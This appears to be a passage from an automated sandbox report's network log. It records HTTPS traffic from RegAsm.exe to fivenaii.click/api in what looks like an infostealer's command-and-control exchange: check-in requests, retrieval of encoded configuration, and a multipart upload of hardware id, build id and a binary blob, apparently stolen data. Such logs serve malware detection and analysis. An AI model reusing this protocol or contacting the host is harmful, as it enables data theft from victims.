2024-12-27 21:33:16 UTC	1369	IN	Data Raw: 71 4c 68 68 58 4e 2b 59 59 2b 51 4d 72 72 67 59 76 46 61 42 73 38 6e 74 75 76 43 55 42 4c 54 59 31 46 4f 63 6f 30 2f 4f 38 6d 79 64 70 4f 46 73 37 39 52 6a 6a 55 42 57 67 42 41 4d 64 73 54 72 75 53 79 50 74 49 31 64 6d 59 30 78 44 35 79 6a 48 38 37 79 62 48 57 6b 75 58 77 37 67 44 75 59 42 55 4f 30 50 4e 31 4c 75 62 4e 4d 45 4d 76 38 36 47 47 4a 2f 4d 6b 33 2f 4e 75 48 7a 37 38 30 31 66 6a 74 4b 4b 75 34 54 2f 6e 39 65 39 56 78 7a 51 4f 52 2b 76 31 74 67 34 78 56 56 4c 57 39 4d 56 5a 34 32 6e 36 57 6b 67 32 41 67 65 45 35 68 75 31 2b 6f 51 67 79 2f 44 69 49 45 74 57 76 54 65 67 66 71 49 42 78 39 61 52 73 43 35 32 47 66 76 4b 53 44 43 79 34 78 57 7a 72 79 43 65 4a 52 47 65 30 33 62 31 4b 75 62 4c 55 45 46 66 38 6b 46 57 70 34 48 55 43 41 4f 64 57 30 39 4e Data Ascii: qLhhXN+YY+QMrrgYvFaBs8ntuvCUBLTY1FOco0/O8mydpOFs79RjjUBWgBAMdsTruSyPtI1dmY0xD5yjH87ybHWkuXw7gDuYBUO0PN1LubNMEMv86GGJ/Mk3/NuHz7801fjtKKu4T/n9e9VxzQOR+v1tg4xVVLW9MVZ42n6Wkg2AgeE5hu1+oQgy/DiIEtWvTegfqIBx9aRsC52GfvKSDCy4xWzryCeJRGe03b1KubLUEFf8kFWp4HUCAOdW09N
2024-12-27 21:33:16 UTC	1369	IN	Data Raw: 55 32 33 74 46 4f 39 47 44 72 73 54 62 52 71 31 4e 76 64 36 48 74 63 6d 48 57 70 30 43 77 75 42 44 35 2f 39 70 4e 52 79 4e 67 45 63 61 61 4d 67 6f 51 45 47 37 56 42 68 4a 37 55 69 34 30 4d 32 37 57 63 7a 54 6c 51 32 54 34 73 6f 79 76 48 51 33 43 4a 2f 4d 31 45 74 6f 31 47 76 52 31 37 31 57 47 39 53 73 6a 32 74 48 48 43 75 63 55 34 2b 4f 56 78 66 75 47 48 47 38 2f 4b 62 61 6a 78 32 48 44 4f 6a 52 36 38 47 48 62 38 61 4a 78 47 67 4c 36 70 36 48 74 73 6b 48 47 78 34 48 42 71 6f 45 65 47 6d 35 39 55 38 61 53 35 4e 59 61 31 66 34 41 46 47 6c 45 68 70 55 6f 6c 69 72 56 78 67 70 47 6f 75 62 6d 41 43 43 72 45 2b 6b 70 54 71 33 44 4e 34 4b 45 73 75 6f 31 47 76 52 31 37 31 57 6d 39 53 73 6a 32 74 48 48 43 75 63 55 34 2b 4f 56 78 66 75 47 48 47 38 2f 4b 62 61 6a 78 Data Ascii: U23tFO9GDrsTbRq1Nvd6HtcmHWp0CwuBD5/9pNRyNgEcaaMgoQEG7VBhJ7Ui40M27WczTlQ2T4soyvHQ3CJ/M1Eto1GvR171WG9Ssj2tHHCucU4+OVxfuGHG8/Kbajx2HDOjR68GHb8aJxGgL6p6HtskHGx4HBqoEeGm59U8aS5NYa1f4AFGlEhpUolirVxgpGoubmACCrE+kpTq3DN4KEsuo1GvR171Wm9Ssj2tHHCucU4+OVxfuGHG8/Kbajx
2024-12-27 21:33:16 UTC	1369	IN	Data Raw: 46 33 50 52 67 69 75 53 47 39 53 75 6d 79 31 42 43 48 32 4f 68 5a 69 61 55 41 4b 76 53 69 66 2f 61 54 56 63 6a 5a 34 58 53 76 7a 45 75 42 47 55 71 73 47 4c 31 4b 70 59 76 51 45 4e 72 78 79 53 43 4d 75 48 6b 33 2f 62 35 69 77 39 73 6b 30 62 53 35 66 5a 74 30 68 77 6c 4d 5a 76 51 74 6a 49 37 73 6f 2b 31 45 6a 37 43 30 6c 55 30 4d 65 43 72 63 73 6e 59 4c 79 32 44 4a 67 50 78 78 76 6f 77 65 76 47 56 36 41 47 69 59 43 74 57 79 6a 42 43 79 38 63 6c 74 67 66 41 73 64 70 47 50 59 71 65 4f 62 4c 53 41 68 48 44 65 6a 52 37 77 50 58 72 39 49 65 56 4c 78 49 75 42 46 49 2f 49 70 43 58 39 6f 44 78 75 6b 61 4f 47 4e 79 63 6b 31 66 6a 73 65 45 4f 34 62 2b 56 51 64 76 51 38 66 4c 4a 73 2b 36 6c 51 6a 76 67 59 63 59 47 49 79 4d 35 41 2b 32 4b 4f 6d 2f 54 46 34 4f 78 78 76 Data Ascii: F3PRgiuSG9Sumy1BCH2OhZiaUAKvSif/aTVcjZ4XSvzEuBGUqsGL1KpYvQENrxySCMuHk3/b5iw9sk0bS5fZt0hwlMZvQtjI7so+1Ej7C0lU0MeCrcsnYLy2DJgPxxvowevGV6AGiYCtWyjBCy8cltgfAsdpGPYqeObLSAhHDejR7wPXr9IeVLxIuBFI/IpCX9oDxukaOGNyck1fjseEO4b+VQdvQ8fLJs+6lQjvgYcYGIyM5A+2KOm/TF4Oxxv

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49752	104.21.60.24	443	2196	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 21:33:15 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: fivenaii.click
2024-12-27 21:33:15 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-27 21:33:16 UTC	1127	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 21:33:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6eqjouvagg6mjrj14ouf43j6v5; expires=Tue, 22 Apr 2025 15:19:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=H1exmNpDPvq3riogKFs2QZbU8G3sZcID%2BC4wcLe7Z3PZxMDMS9%2Bw00qrt4KzKOAI7QfdV1fAIlBWWp0bBjfZL6Plm39lymLWdkgtf3glV%2BGFrEFnTJW3OB%2B7y9rAFqG8aw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8c6d8f1f49c341-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1721&min_rtt=1711&rtt_var=663&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2833&recv_bytes=905&delivery_rate=1625835&cwnd=177&unsent_bytes=0&cid=c82bc5d2793f187d&ts=776&x=0"
2024-12-27 21:33:16 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-27 21:33:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49755	104.21.60.24	443	2196	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 21:33:17 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: fivenaii.click
2024-12-27 21:33:17 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 56 43 36 44 66 6d 2d 2d 54 65 73 74 4f 74 63 74 75 6b 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=VC6Dfm--TestOtctuk&j=
2024-12-27 21:33:18 UTC	1129	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 21:33:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=78av4f460367gec90vcedgokl0; expires=Tue, 22 Apr 2025 15:19:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pl%2FwCY0Mg7%2B3Gr5PIqMskF6CKOhh%2BXuZM3qelwh9BiNRjHmLUuuZN44BK1vlBrVVH7lwrtuVVgfcStU6TeklrNy7zJeMlLBtckFeilFrC7Ia0y8y%2BoI42jLx1NQmaHV%2Bng%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8c6d9bfa044316-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1689&min_rtt=1674&rtt_var=658&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2832&recv_bytes=950&delivery_rate=1625835&cwnd=177&unsent_bytes=0&cid=1ed3a6d43fc5e18a&ts=789&x=0"
2024-12-27 21:33:18 UTC	240	IN	Data Raw: 63 34 63 0d 0a 67 71 6a 54 4c 54 4e 61 73 59 59 6c 57 6b 50 74 39 45 43 48 73 34 65 34 76 49 33 37 76 6d 75 38 43 6f 46 45 79 35 66 47 65 72 6a 35 69 71 55 50 43 57 36 64 70 46 59 2f 59 64 65 41 4d 76 4c 57 71 35 72 64 36 64 6d 45 44 64 31 6d 38 69 48 6e 74 62 41 58 6d 72 6a 4f 73 6b 46 41 50 35 32 6b 51 43 4a 68 31 36 38 37 70 64 62 70 6d 6f 61 76 6e 74 51 4a 33 57 62 6a 4a 61 44 34 74 68 62 62 36 73 53 30 52 56 59 35 31 65 64 4a 4e 79 61 49 6b 53 48 74 33 65 37 56 31 4f 44 5a 6b 6b 6e 5a 63 4b 4e 2b 36 64 71 6a 44 74 6e 50 79 61 42 47 45 53 65 64 2f 51 63 2f 4c 63 2f 4f 59 75 62 57 35 64 54 61 36 5a 44 57 41 39 52 75 34 69 43 68 35 36 38 63 30 4f 72 4b 74 30 52 63 4d 4d 48 71 51 7a 41 74 6a 70 73 68 70 5a 2b Data Ascii: c4cgqjTLTNasYYlWkPt9ECHs4e4vI37vmu8CoFEy5fGerj5iqUPCW6dpFY/YdeAMvLWq5rd6dmEDd1m8iHntbAXmrjOskFAP52kQCJh1687pdbpmoavntQJ3WbjJaD4thbb6sS0RVY51edJNyaIkSHt3e7V1ODZkknZcKN+6dqjDtnPyaBGESed/Qc/Lc/OYubW5dTa6ZDWA9Ru4iCh568c0OrKt0RcMMHqQzAtjpshpZ+
2024-12-27 21:33:18 UTC	1369	IN	Data Raw: 6c 33 63 61 76 77 5a 78 61 37 47 76 79 4e 37 7a 34 74 42 36 61 2f 34 53 6f 44 31 59 30 6b 37 77 48 4d 43 32 42 6b 79 48 71 31 75 54 61 7a 4f 43 5a 33 77 48 57 62 4f 6b 70 70 76 71 71 45 74 33 6f 77 37 5a 41 56 6a 44 56 36 30 52 34 62 38 2b 52 4f 71 57 4a 70 66 72 4f 37 4a 72 49 42 4d 38 6f 2f 47 69 77 74 61 4d 55 6d 72 69 4b 74 30 46 51 4e 64 50 32 54 7a 4d 71 69 6f 51 70 37 4e 7a 6f 32 74 50 6c 6c 74 38 4a 32 57 4c 70 4b 61 50 78 71 52 58 63 34 4d 72 78 41 52 45 2f 79 36 51 66 65 41 4b 4b 68 69 58 70 78 36 66 67 6e 76 44 58 78 55 6e 5a 5a 4b 4e 2b 36 66 32 68 47 39 6e 72 78 62 4a 48 57 69 72 54 39 6b 45 31 4a 4a 32 51 4a 2b 76 62 35 73 6a 55 34 5a 2f 66 41 4e 56 68 35 69 47 74 74 65 70 59 33 66 69 4b 36 51 39 77 4e 64 6a 6f 54 53 38 68 7a 34 6c 73 2f 4a Data Ascii: l3cavwZxa7GvyN7z4tB6a/4SoD1Y0k7wHMC2BkyHq1uTazOCZ3wHWbOkppvqqEt3ow7ZAVjDV60R4b8+ROqWJpfrO7JrIBM8o/GiwtaMUmriKt0FQNdP2TzMqioQp7Nzo2tPllt8J2WLpKaPxqRXc4MrxARE/y6QfeAKKhiXpx6fgnvDXxUnZZKN+6f2hG9nrxbJHWirT9kE1JJ2QJ+vb5sjU4Z/fANVh5iGttepY3fiK6Q9wNdjoTS8hz4ls/J
2024-12-27 21:33:18 UTC	1369	IN	Data Raw: 35 5a 2f 54 42 4e 49 6f 72 57 61 75 37 65 52 41 6d 73 72 4a 70 55 78 62 65 75 62 6e 53 54 59 6d 6d 64 59 39 71 38 69 6c 33 64 4b 76 77 5a 77 45 33 32 44 6c 4e 4b 62 34 70 78 62 55 37 38 2b 2b 52 31 45 34 33 75 46 44 4d 79 71 4d 6d 79 62 33 32 2b 58 53 32 2b 36 54 31 6b 6d 51 4b 4f 51 2b 36 61 33 6b 4b 63 33 72 69 49 52 4d 58 7a 62 55 38 67 63 6e 62 35 62 57 4a 65 6d 52 76 5a 72 54 35 35 7a 5a 42 74 39 69 37 53 4f 6a 2b 61 77 57 32 66 4c 46 74 55 39 64 4d 4e 6e 70 53 54 77 70 68 70 30 70 34 39 48 6b 30 4a 36 68 32 64 73 52 6e 6a 43 6a 45 71 37 35 71 52 65 59 31 63 6d 2f 51 56 59 75 6b 2f 73 4a 49 57 47 49 6d 6d 4b 39 6b 65 6e 54 33 75 53 54 32 41 6e 5a 5a 65 59 6c 72 76 61 70 48 39 44 75 7a 62 56 44 57 44 58 56 35 45 41 38 4a 4a 32 54 4b 2b 6e 64 70 5a 53 Data Ascii: 5Z/TBNIorWau7eRAmsrJpUxbeubnSTYmmdY9q8il3dKvwZwE32DlNKb4pxbU78++R1E43uFDMyqMmyb32+XS2+6T1kmQKOQ+6a3kKc3riIRMXzbU8gcnb5bWJemRvZrT55zZBt9i7SOj+awW2fLFtU9dMNnpSTwphp0p49Hk0J6h2dsRnjCjEq75qReY1cm/QVYuk/sJIWGImmK9kenT3uST2AnZZeYlrvapH9DuzbVDWDXV5EA8JJ2TK+ndpZS
2024-12-27 21:33:18 UTC	177	IN	Data Raw: 30 66 48 4b 4f 51 71 36 61 33 6b 45 64 50 79 78 4c 39 47 58 44 37 62 34 30 6b 31 4b 6f 6d 64 4a 65 4c 58 36 4e 4c 54 36 70 72 64 44 64 52 36 34 43 32 6a 2b 4b 35 59 6c 4b 44 4e 71 51 38 4a 65 50 54 6f 62 69 67 36 6e 59 42 69 2b 70 2f 38 6d 74 6e 6a 32 59 52 4a 33 57 66 71 4b 61 48 39 71 78 66 65 37 73 79 33 51 6c 51 33 32 66 5a 50 4e 69 79 45 6d 53 6e 33 30 65 6a 65 30 75 75 52 31 77 4f 65 4a 71 4d 68 73 62 58 38 57 4f 2f 74 78 62 46 4d 52 33 6a 4d 71 6c 35 34 4a 6f 50 57 65 71 58 64 36 39 72 52 34 35 58 58 41 64 39 6b 0d 0a Data Ascii: 0fHKOQq6a3kEdPyxL9GXD7b40k1KomdJeLX6NLT6prdDdR64C2j+K5YlKDNqQ8JePTobig6nYBi+p/8mtnj2YRJ3WfqKaH9qxfe7sy3QlQ32fZPNiyEmSn30eje0uuR1wOeJqMhsbX8WO/txbFMR3jMql54JoPWeqXd69rR45XXAd9k
2024-12-27 21:33:18 UTC	1369	IN	Data Raw: 33 63 64 30 0d 0a 37 53 47 73 2f 4b 77 51 79 4f 48 4f 75 55 35 66 4e 39 4c 67 51 6a 30 6c 69 4a 49 6b 36 70 47 72 6d 74 6e 33 32 59 52 4a 38 55 2f 57 5a 49 6a 50 35 41 65 55 2b 59 71 32 51 78 46 67 6b 2b 68 45 4e 43 6d 41 6b 43 76 70 32 2b 7a 52 30 75 53 64 30 41 44 62 62 75 49 6a 72 50 53 67 46 4e 44 6d 79 62 4a 41 58 6a 66 62 70 41 6c 34 4a 70 66 57 65 71 58 30 38 74 48 51 36 64 6e 44 52 38 63 6f 35 43 72 70 72 65 51 55 30 2b 62 4d 74 45 4e 51 50 74 76 68 54 7a 77 67 69 5a 41 68 36 74 58 67 32 39 48 72 6c 64 49 44 33 32 6e 76 4c 61 62 2b 6f 56 69 55 6f 4d 32 70 44 77 6c 34 34 75 64 52 4c 7a 47 44 31 6a 32 72 79 4b 58 64 30 71 2f 42 6e 41 6a 4d 59 75 6b 6f 72 50 71 68 47 39 58 6e 78 37 64 44 57 7a 48 62 34 6b 67 78 4d 34 79 61 4c 4f 4c 66 36 64 54 54 35 Data Ascii: 3cd07SGs/KwQyOHOuU5fN9LgQj0liJIk6pGrmtn32YRJ8U/WZIjP5AeU+Yq2QxFgk+hENCmAkCvp2+zR0uSd0ADbbuIjrPSgFNDmybJAXjfbpAl4JpfWeqX08tHQ6dnDR8co5CrpreQU0+bMtENQPtvhTzwgiZAh6tXg29HrldID32nvLab+oViUoM2pDwl44udRLzGD1j2ryKXd0q/BnAjMYukorPqhG9Xnx7dDWzHb4kgxM4yaLOLf6dTT5
2024-12-27 21:33:18 UTC	1369	IN	Data Raw: 58 59 2f 45 73 72 76 4b 76 45 4e 48 76 7a 4b 4e 44 58 79 72 57 39 6c 56 34 62 38 2b 52 4f 71 57 4a 70 65 7a 5a 2f 34 6e 66 53 2b 39 2b 34 44 43 69 2b 4b 68 59 78 61 37 54 38 55 68 64 65 49 75 6b 51 54 63 6f 6a 4a 6b 6a 37 4e 33 6f 33 39 66 71 6d 4e 6f 4e 31 47 4c 6a 49 4b 2f 30 6f 52 4c 5a 34 63 43 34 53 46 6b 2f 30 50 59 48 64 6d 47 49 6a 6d 4b 39 6b 63 7a 64 7a 4f 47 4a 6e 42 61 51 63 61 4d 68 70 62 58 38 57 4e 37 71 78 62 56 49 58 54 37 57 34 6b 6f 35 4c 6f 36 57 4c 65 48 61 37 4e 7a 66 34 70 7a 52 44 63 78 69 36 43 6d 6c 2f 4b 67 56 6d 71 36 4b 74 6c 63 52 59 4a 50 56 53 6a 59 76 69 49 42 69 2b 70 2f 38 6d 74 6e 6a 32 59 52 4a 33 32 54 73 4a 61 62 32 70 78 6e 51 38 74 69 39 52 6c 6b 39 33 2b 39 4a 50 6a 4f 4a 6d 53 76 6d 30 75 7a 64 31 75 4f 54 33 77 Data Ascii: XY/EsrvKvENHvzKNDXyrW9lV4b8+ROqWJpezZ/4nfS+9+4DCi+KhYxa7T8UhdeIukQTcojJkj7N3o39fqmNoN1GLjIK/0oRLZ4cC4SFk/0PYHdmGIjmK9kczdzOGJnBaQcaMhpbX8WN7qxbVIXT7W4ko5Lo6WLeHa7Nzf4pzRDcxi6Cml/KgVmq6KtlcRYJPVSjYviIBi+p/8mtnj2YRJ32TsJab2pxnQ8ti9Rlk93+9JPjOJmSvm0uzd1uOT3w
2024-12-27 21:33:18 UTC	1369	IN	Data Raw: 66 72 2f 6c 73 78 2f 46 72 74 50 78 53 46 31 34 69 36 52 42 4d 53 65 49 6b 43 7a 33 31 4f 50 56 30 65 61 51 32 41 48 64 61 4f 63 69 72 76 43 6e 46 4e 48 6e 79 62 35 4c 57 44 62 61 36 77 64 32 59 59 69 4f 59 72 32 52 78 4d 48 64 34 35 53 63 46 70 42 78 6f 79 47 6c 74 66 78 59 31 75 37 50 73 55 56 58 50 4e 62 69 54 54 30 68 68 4a 55 74 34 64 66 68 31 64 37 6b 6b 4e 30 50 32 32 4c 6f 49 4b 54 32 6f 68 36 61 72 6f 71 32 56 78 46 67 6b 38 52 63 4e 53 32 49 31 6a 32 72 79 4b 58 64 30 71 2f 42 6e 41 4c 53 62 4f 51 6d 70 50 61 73 48 64 37 71 7a 37 46 48 51 7a 44 54 34 31 55 71 49 59 61 54 4c 75 62 52 34 64 7a 58 36 5a 72 59 53 5a 41 6f 35 44 37 70 72 65 51 31 31 75 66 6a 74 6c 51 52 4a 35 33 39 42 7a 38 74 7a 38 35 69 35 4e 72 76 31 64 50 73 6e 39 38 43 32 32 4c Data Ascii: fr/lsx/FrtPxSF14i6RBMSeIkCz31OPV0eaQ2AHdaOcirvCnFNHnyb5LWDba6wd2YYiOYr2RxMHd45ScFpBxoyGltfxY1u7PsUVXPNbiTT0hhJUt4dfh1d7kkN0P22LoIKT2oh6aroq2VxFgk8RcNS2I1j2ryKXd0q/BnALSbOQmpPasHd7qz7FHQzDT41UqIYaTLubR4dzX6ZrYSZAo5D7preQ11ufjtlQRJ539Bz8tz85i5Nrv1dPsn98C22L
2024-12-27 21:33:18 UTC	1369	IN	Data Raw: 62 4a 59 67 72 4b 45 38 56 30 52 59 4a 4f 6a 52 43 6f 7a 69 5a 55 30 35 70 62 62 35 50 6e 35 6b 39 73 5a 32 58 2f 73 5a 75 65 31 71 31 69 43 32 59 71 34 53 45 6f 70 78 65 6c 58 50 32 47 77 32 47 4c 39 6b 62 32 61 36 2b 79 58 30 67 37 49 65 61 34 42 76 2f 2b 6a 43 4e 33 33 78 66 45 42 45 54 36 54 76 42 52 32 59 59 75 48 59 72 32 42 74 34 47 4c 76 4d 36 4d 57 38 45 6d 2b 6d 61 2f 74 66 78 4b 6c 4b 44 59 38 52 63 52 66 39 44 32 56 54 34 69 6d 5a 56 6c 32 2b 2f 43 77 4e 50 70 6a 73 30 33 34 47 2f 35 4b 36 2f 69 74 56 54 50 34 38 53 2f 53 45 64 34 6e 61 52 49 65 48 6d 32 31 6d 71 6c 37 71 75 61 78 71 2f 42 6e 44 7a 64 5a 75 30 68 76 2b 54 70 50 38 44 74 7a 4b 5a 65 45 58 61 54 34 67 64 67 63 63 48 57 4a 76 53 52 76 59 71 4d 74 4d 79 50 58 6f 34 36 2f 47 69 77 Data Ascii: bJYgrKE8V0RYJOjRCoziZU05pbb5Pn5k9sZ2X/sZue1q1iC2Yq4SEopxelXP2Gw2GL9kb2a6+yX0g7Iea4Bv/+jCN33xfEBET6TvBR2YYuHYr2Bt4GLvM6MW8Em+ma/tfxKlKDY8RcRf9D2VT4imZVl2+/CwNPpjs034G/5K6/itVTP48S/SEd4naRIeHm21mql7quaxq/BnDzdZu0hv+TpP8DtzKZeEXaT4gdgccHWJvSRvYqMtMyPXo46/Giw
2024-12-27 21:33:18 UTC	1369	IN	Data Raw: 54 75 7a 61 64 65 45 58 61 54 36 77 64 67 47 4d 2f 65 59 74 71 66 70 63 4b 65 74 39 6e 70 43 74 42 6d 35 44 43 34 75 49 4d 57 33 65 48 63 6f 56 68 65 65 4a 32 6b 51 58 68 35 33 64 68 69 34 63 43 6c 67 6f 36 39 77 6f 6c 61 69 54 69 78 4f 65 66 73 35 41 36 61 75 4a 6a 2f 44 30 4e 34 69 36 51 41 4f 7a 4f 64 6b 43 48 7a 30 71 4c 6b 34 4d 69 58 32 77 6a 49 65 50 51 70 35 74 75 53 4f 65 54 65 33 37 4a 42 58 7a 2f 46 39 51 64 32 59 59 44 57 65 74 79 52 72 5a 72 68 6f 64 6e 45 53 59 59 6f 31 69 57 6e 2b 36 4d 4f 79 36 33 74 76 30 68 51 4c 73 50 7a 53 48 63 50 75 62 64 69 71 35 48 6a 6d 6f 61 39 31 35 77 4e 7a 79 69 37 64 76 75 75 38 55 75 4e 73 4a 69 75 41 55 68 34 78 61 51 66 61 6d 2f 50 68 47 4b 39 6b 61 4c 5a 7a 50 32 66 33 78 2f 64 4c 39 30 59 6a 76 75 6a 47 Data Ascii: TuzadeEXaT6wdgGM/eYtqfpcKet9npCtBm5DC4uIMW3eHcoVheeJ2kQXh53dhi4cClgo69wolaiTixOefs5A6auJj/D0N4i6QAOzOdkCHz0qLk4MiX2wjIePQp5tuSOeTe37JBXz/F9Qd2YYDWetyRrZrhodnESYYo1iWn+6MOy63tv0hQLsPzSHcPubdiq5Hjmoa915wNzyi7dvuu8UuNsJiuAUh4xaQfam/PhGK9kaLZzP2f3x/dL90YjvujG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49757	104.21.60.24	443	7552	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 21:33:18 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=K29GIXJ1E8TBCVOBTV User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18168 Host: fivenaii.click
2024-12-27 21:33:18 UTC	15331	OUT	Data Raw: 2d 2d 4b 32 39 47 49 58 4a 31 45 38 54 42 43 56 4f 42 54 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 39 42 32 39 35 46 33 31 41 38 34 44 31 39 38 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 4b 32 39 47 49 58 4a 31 45 38 54 42 43 56 4f 42 54 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4b 32 39 47 49 58 4a 31 45 38 54 42 43 56 4f 42 54 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 56 43 36 44 66 6d 2d 2d 54 65 73 74 4f Data Ascii: --K29GIXJ1E8TBCVOBTVContent-Disposition: form-data; name="hwid"B9B295F31A84D198BEBA0C6A975F1733--K29GIXJ1E8TBCVOBTVContent-Disposition: form-data; name="pid"2--K29GIXJ1E8TBCVOBTVContent-Disposition: form-data; name="lid"VC6Dfm--TestO
2024-12-27 21:33:18 UTC	2837	OUT	Data Raw: 2c 95 40 cc 78 a8 6a 87 a7 66 35 eb c7 4a 53 81 68 2f 88 dd e0 cb 99 64 7e e6 28 bf 13 cc 94 75 5e c1 bc c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 Data Ascii: ,@xjf5JSh/d~(u^'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pyb
2024-12-27 21:33:19 UTC	1128	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 21:33:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1qk4514vfes50pkibmf612jgua; expires=Tue, 22 Apr 2025 15:19:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=O8L6psK490HzsIxGYZs9e9X8HABR1Bu4rPpY0cDg9LhXqqyIX7%2Bd4Kt8%2BX9tk9DlCMIJgpQ3Xiq59YLgbnOtpY2wiQ2g138T663F6CLxTHOwi0Q5eW6Yxmo9JpZP8fetdQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8c6d9d3d95429e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1759&min_rtt=1754&rtt_var=669&sent=12&recv=23&lost=0&retrans=0&sent_bytes=2832&recv_bytes=19128&delivery_rate=1623123&cwnd=208&unsent_bytes=0&cid=ff79b5e6d84e2a6c&ts=1023&x=0"
